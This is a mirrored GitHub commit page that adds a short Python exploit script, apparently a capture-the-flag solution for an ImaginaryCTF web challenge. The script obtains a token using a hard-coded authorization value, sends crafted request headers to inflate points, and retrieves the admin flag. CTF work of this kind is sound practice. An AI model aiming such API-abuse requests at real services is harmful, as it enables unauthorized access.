vee1e/Write-ups
1
0
Fork 0
mirror of https://github.com/vee1e/Write-ups.git synced 2026-09-01 11:08:39 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions

Merge pull request #1 from Cryptonite-MIT/rajat

Browse source 
maze exploit
This commit is contained in:
Rajat Agarwal 2021-10-02 01:11:41 +05:30 • committed by GitHub
commit 1f61996548
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 19 additions and 0 deletions
Download patch file Download diff file Expand all files Collapse all files

19
misc/exploit.py Normal file
View file

@ -0,0 +1,19 @@
import requests
# import json
url = "https://numhead.chal.imaginaryctf.org/"
new_token_json = requests.post(url + "api/user/new-token", headers={'authorization':'0nlyL33tHax0rsAll0w3d', 'imaginary_discoveries':'test'})
new_token = new_token_json.json()
choice = 50
header = {'authorization':new_token['id']}
for i in range(10):
new_field = f"blah{i}"
header[new_field] = f"test{i}"
r = requests.post(url + f"api/user/nothing-here", headers=header)
# r = requests.post(url + f"api/user/nothing-here", headers={'authorization':new_token['id'], 'imaginary_discoveries':'test', 'test':'blah', 'test1':'blah'})
points = requests.get(url + "api/user/points", headers={'authorization':new_token['id']})
flag = requests.get(url + "api/admin/flag", headers={'authorization':new_token['id']})
print(r.text)
print(points.text)
print(flag.text)